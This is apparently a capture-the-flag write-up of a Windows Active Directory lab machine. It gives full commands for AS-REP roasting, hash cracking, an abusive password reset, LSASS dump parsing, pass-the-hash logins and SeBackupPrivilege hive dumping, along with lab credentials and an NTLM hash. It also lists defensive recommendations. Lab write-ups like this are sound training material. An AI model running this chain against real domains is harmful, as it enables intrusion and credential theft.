Summary

  • The target was a Windows machine having an Active Directory domain.
  • Using the Guest account, I was able to browse a shared folder, where a folder named profiles$ revealed a list of valid usernames.
  • Using those usernames, I performed an AS-REP Roasting attack and found that the user support had Kerberos pre-authentication disabled.
  • support had permission to change the password of audit2020. After resetting it, I used the audit2020 account to access another shared folder.
  • Inside that folder was lsass.zip, from which I extracted the credentials of svc_backup.
  • svc_backup had the SeBackupPrivilege right, so I used diskshadow and robocopy to retrieve the SAM, SYSTEM, and SECURITY hives.
  • Running impacket-secretsdump against these hives revealed the Administrator password.

Recommendation

Assuming this were a real environment, I would recommend the following:

  • Restrict access to sensitive shared folders so they are not accessible via the Guest account.
  • Do not disable Kerberos pre-authentication for user accounts unless absolutely necessary.
  • Regularly audit delegated permissions, such as support’s ability to reset audit2020’s password, and revoke them once they are no longer needed.

Enumeration

First of all, let's enumerate open ports using namp as follows.

for i in 1 2; do sudo nmap -sS -Pn -p- --open -n --min-rate 1500 -oA scan_all$i 10.129.229.17; done 


ports=$(grep -ohP '\d+(?=/open)' scan_all*.gnmap | sort -un | paste -sd, -); echo $ports sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.229.17

Ports 135(RPC) and 445(SMB) are open. Also, 53(DNS), 88(Kerberos) and 389(LDAP) are open, too. This suggests a standalone Windows machine having an Active Directory domain.

No interesting UDPs are open.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.229.17 -u '' -p '' --shares --users --groups

No info is revealed except domain: BLACKFIELD.local.

nxc smb 10.129.229.17 -u 'guest' -p '' --shares --users --groups

No info is revealed.

Let's check the domain info.

dig @10.129.229.17 BLACKFIELD.local any

New domain name is revealed, dc01.BLACKFIELD.local.

Let's add the mapping between the IP and domain names to /etc/hosts.

echo "10.129.229.17 BLACKFIELD.local dc01.BLACKFIELD.local" | sudo tee -a /etc/hosts

After some research, I figured out that VPN connection was bad. I changed the protocol from UDP to TCP and then the outcome has changed as follows.

nxc smb 10.129.229.17 -u 'guest' -p '' --shares --users --groups

Let's check profiles$.

smbclient //10.129.229.17/profiles$ -U 'BLACKFIELD.local\guest%'

Many contents. But no files. This information seems usernames. So, let's make a users.txt.

Exploitation

Let's check whether there is a user without pre-authentication.

impacket-GetNPUsers BLACKFIELD.local/ -request -format hashcat -outputfile asrep.txt -usersfile users.txt -dc-ip 10.129.229.17

support does not have pre-authentication.

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! support:#00^BlackKnight

Let's check what we can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'support' -p '#00^BlackKnight' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'support' -p '#00^BlackKnight'; done

SMB is positive. Let's check what we can do with smb.

 nxc smb 10.129.229.17 -u 'support' -p '#00^BlackKnight' --shares --users --groups

Valid usernames are found.

Let's get into shared folders.

smbclient //10.129.229.17/NETLOGON -U 'BLACKFIELD.local\support%#00^BlackKnight'

Nothing

smbclient //10.129.229.17/SYSVOL -U 'BLACKFIELD.local\support%#00^BlackKnight'

However, not good info.

Let's check bloodhound.

bloodhound-ce-python -u support -p '#00^BlackKnight' -d BLACKFIELD.local -ns 10.129.229.17 -c all

support can change the password of audit2020.

Let's change it.

net rpc password "audit2020" "newP@ssword2022" -U "BLACKFIELD.local"/"support"%"#00^BlackKnight" -S "dc01.blackfield.local" 


 for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022'; done

Let's check the shares.

nxc smb 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022' --shares

Let's connect to the folder and download every conetent.

smbclient //10.129.229.17/forensic -U 'BLACKFIELD.local\audit2020%newP@ssword2022' recurse ON prompt OFF mget *

However, some files were too large to download completely.

So I retried with an extended timeout of 300 seconds (-t 300), as shown below.

 smbclient //10.129.229.17/forensic -U 'BLACKFIELD.local\audit2020%newP@ssword2022' -t 300

We can see lsass.zip. Let’s extract and analyze its contents.

pypykatz lsa minidump lsass.DMP

We found a credential! svc_backup:9658d1d1dcd9250115e2205d9f48400d

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'; done

Winrm is available.

evil-winrm -i 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d cat ../Desktop/user.txt

Hooray!

Privilege Escalation

Checking whoami /priv reveals that svc_backup has SeBackupPrivilege. So, let’s dump the SAM, SYSTEM, and SECURITY to extract the Administrator’s credentials.


reg save hklm\sam C:\Users\Public\sam ; reg save hklm\system C:\Users\Public\system ; reg save hklm\security C:\Users\Public\security 


impacket-secretsdump -sam sam -system system LOCAL

However, the credential for admin is not effective.

SECURITY is necessary so that I used diskshadow and robocopy to get it.

Set-Content -Path diskshadow.txt -Encoding ASCII -Value "set metadata C:\Windows\Temp\meta.cab" Add-Content -Path diskshadow.txt -Encoding ASCII -Value "set context persistent nowriters" Add-Content -Path diskshadow.txt -Encoding ASCII -Value "add volume c: alias cdrive" Add-Content -Path diskshadow.txt -Encoding ASCII -Value "create" Add-Content -Path diskshadow.txt -Encoding ASCII -Value "expose %cdrive% z:" Add-Content -Path diskshadow.txt -Encoding ASCII -Value "exit" diskshadow /s diskshadow.txt 


robocopy /b Z:\Windows\System32\config C:\Users\svc_backup\Documents\configbackup SAM SECURITY SYSTEM 


cd C:\Users\svc_backup\Documents\configbackup download SYSTEM download SAM download SECURITY 


impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL 


evil-winrm -i 10.129.229.17 -u Administrator -p '###_ADM1N_3920_###' type C:\Users\Administrator\Desktop\root.txt

Lessons Learned

  • If you see a NetBIOS timeout, it may indicate that the VPN connection is unstable or broken. Try switching from UDP to TCP, or use a different VPN connection.
  • By default, smbclient can time out when downloading large files (e.g. the SYSTEM hive), so the download fails partway through. Use -t 300 to extend the timeout. Also, even when you have SeBackupPrivilege, you may be able to retrieve SAM and SYSTEM but still fail to grab SECURITY through normal means. In that case, using diskshadow together with robocopy (in backup mode, /b) works well.
  • pypykatz is a useful tool for this kind of work. lsass.exe (Local Security Authority Subsystem Service) is a core Windows process responsible for enforcing security policy and handling user authentication; it keeps credential material (password hashes, Kerberos tickets, etc.) in memory while a user is logged on. If an attacker can dump the memory of this process (e.g. with procdump or Task Manager), tools like pypykatz (a Python reimplementation of Mimikatz) can parse that memory dump offline on Linux to extract those credentials, without needing Mimikatz itself on Windows.